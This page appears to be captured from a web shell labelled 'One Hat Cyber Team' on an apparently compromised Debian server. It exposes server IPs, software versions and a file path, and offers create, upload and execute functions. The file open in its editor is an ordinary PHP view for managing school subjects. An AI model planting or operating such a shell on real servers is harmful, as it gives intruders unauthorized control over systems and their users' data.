⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
miu
/
modules
/
Mapel
/
Views
/
Edit File: list.php
<!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0"><?=$title?></h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="#">Dashboard</a></li> <li class="breadcrumb-item active"><?=$li_1?></li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <div class="card-tools"> <a class="btn btn-sm btn-primary" onclick="add(0)">Tambah</a> </div> </div> <div class="card-body"> <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th>No</th> <th>Kode</th> <th>Nama</th> <th>Aksi</th> </tr> </thead> <tbody> <?php $no =1; $induk['id'] = []; foreach ($data as $k) { echo '<tr><td>'.$no++.'</td>'; echo '<td>'.esc($k->kode).'</td>'; echo '<td>'.esc($k->nama).'</td>'; echo '<td align="center"> <a class="btn btn-danger btn-sm" onclick="hapus(`mapel/delete/'.esc($k->id).'`)">Hapus</a> <a class="btn btn-warning btn-sm" onclick="add(`'.esc($k->id).'`)">Edit</a> </td></tr>'; if($k->induk == '0'){ $induk['id'][] = $k->id; $induk['nama'][] = $k->nama; } } ?> </tbody> </table> </div> <!-- /.card-body --> </div> </div> </div> </div><!-- /.container-fluid --> </section> <!-- /.content --> <div class="modal fade" id="add"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <form class="form-horizontal" method="post" action="<?=base_url('mapel')?>/verifikasi" enctype="multipart/form-data"> <div class="modal-header"> <h4 class="modal-title">Form Tambah <?=$title?></h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <?php echo csrf_field(); echo form_file('upload'); ?> </div> <div class="modal-footer justify-content-between"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Save changes</button> </div> </form> </div> </div> </div> <div class="modal fade" id="edit"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <form class="form-horizontal" method="post" id="form_pd"> <div class="modal-header"> <h4 class="modal-title">Form <?=$title?></h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <input type="text" name="data_id" class="d-none" id="data_id"> <input type="text" name="id_lembaga" class="d-none" value="<?=session('id_sp')?>"> <?php $kur['options'] = ['Kurmer', 'K13']; $kur['value'] = ['1', '2']; $pilihan['options'] = ['Ya', 'Tidak']; $pilihan['value'] = ['1', '0']; $jur['options']=[]; $jur['value']=[]; $kelompok['options']=[]; $kelompok['value']=[]; $idk['options'][]='Tanpa Induk'; $idk['value'][]='0'; for ($i=0; $i < count($induk['id']); $i++) { $idk['options'][]= $induk['nama'][$i]; $idk['value'][]= $induk['id'][$i]; } foreach ($jurusan as $key) { $jur['options'][] = $key->nama; $jur['value'][] = $key->id; } echo csrf_field(); echo form_text('kode'); echo form_text('nama'); echo form_select('induk', $idk); echo form_select('kurikulum', $kur); echo form_select('kelompok', $kelompok); echo form_select('jurusan', $jur); echo form_text('urutan'); ?> </div> <div class="modal-footer justify-content-between"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Save changes</button> </div> </form> </div> <!-- /.modal-content --> </div> <!-- /.modal-dialog --> </div> <script type="text/javascript"> $(function () { $("#example1").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["excel", "pdf", "print"] }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)'); $('#form_kurikulum').change(function(){ const formKelompok = $('#form_kelompok'); formKelompok.empty(); let optionsData; let id = $(this).val(); if(id == '1'){ optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, { value: '1', text: 'Kelompok Mapel Umum' }, { value: '2', text: 'Kelompok Mapel Pilihan' }, { value: '3', text: 'Kelompok Mapel Keterampilan' } ]; } else if ( id == '2') { optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, { value: '4', text: 'Kelompok A' }, { value: '5', text: 'Kelompok B' }, { value: '6', text: 'Kelompok C' } ]; }else{ optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, ] } // Kunci perbaikan: Iterasi langsung pada variabel optionsData, bukan optionsData[id]. $.each(optionsData, function(index, data) { formKelompok.append('<option value="' + data.value + '">' + data.text + '</option>'); }); }); }) function add(id){ if(id == '0'){ $('#form_pd').attr('action', '<?=base_url('mapel/add')?>'); $('#edit').modal('show'); }else{ $('#form_pd').attr('action', '<?=base_url('mapel/edit')?>'); $.ajax({ url : '<?=base_url('mapel/get')?>/' + id, dataType : 'JSON', /* echo form_select('induk', $idk); echo form_select('kurikulum', $kur); echo form_select('kelompok', $kelompok); echo form_select('jurusan', $jur); echo form_text('urutan'); */ success : function(d){ const formKelompok = $('#form_kelompok'); formKelompok.empty(); let optionsData; if(d.id_kurikulum == '1'){ optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, { value: '1', text: 'Kelompok Mapel Umum' }, { value: '2', text: 'Kelompok Mapel Pilihan' }, { value: '3', text: 'Kelompok Mapel Keterampilan' } ]; } else if ( d.id_kurikulum == '2') { optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, { value: '4', text: 'Kelompok A' }, { value: '5', text: 'Kelompok B' }, { value: '6', text: 'Kelompok C' } ]; }else{ optionsData = [ { value: '', text: '--Pilih Kelompok Mapel--' }, ] } // Kunci perbaikan: Iterasi langsung pada variabel optionsData, bukan optionsData[id]. $.each(optionsData, function(index, data) { formKelompok.append('<option value="' + data.value + '">' + data.text + '</option>'); }); $('#data_id').val(id); $('#form_kode').val(d.kode); $('#form_nama').val(d.nama); $('#form_induk').val(d.induk); $('#form_kurikulum').val(d.id_kurikulum); $('#form_kelompok').val(d.kelompok); $('#form_jurusan').val(d.jurusan); $('#form_urutan').val(d.urut); } }) $('#edit').modal('show'); } } </script>
Simpan